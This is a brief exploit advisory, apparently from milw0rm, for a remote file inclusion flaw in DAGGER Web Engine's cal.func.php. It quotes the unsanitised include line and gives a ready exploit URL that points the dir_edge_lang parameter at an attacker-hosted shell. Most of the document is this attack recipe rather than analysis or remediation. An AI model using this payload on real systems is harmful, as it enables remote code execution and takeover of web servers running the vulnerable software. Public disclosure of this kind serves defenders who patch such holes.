DAGGER Web Engine <= 23jan2007 Remote File Inclusion Vuln

[hex]

###Dagger-web engine(cal.func.php)Remote File Inclusion###

#download:

http://kent.dl.sourceforge.net/sourceforge/dagger/dagger_r23jan2007.

zip

#found by: katatafish (karatatata@hush.com)

#code: (cal.func.php)

include($dir_edge_lang.'cal_lang.inc.php');

#exploit:

http://www.site.com/[path]/cal.func.php?dir_edge_lang=[sHELL]

#Thanks: str0ke

# milw0rm.com [2007-06-24]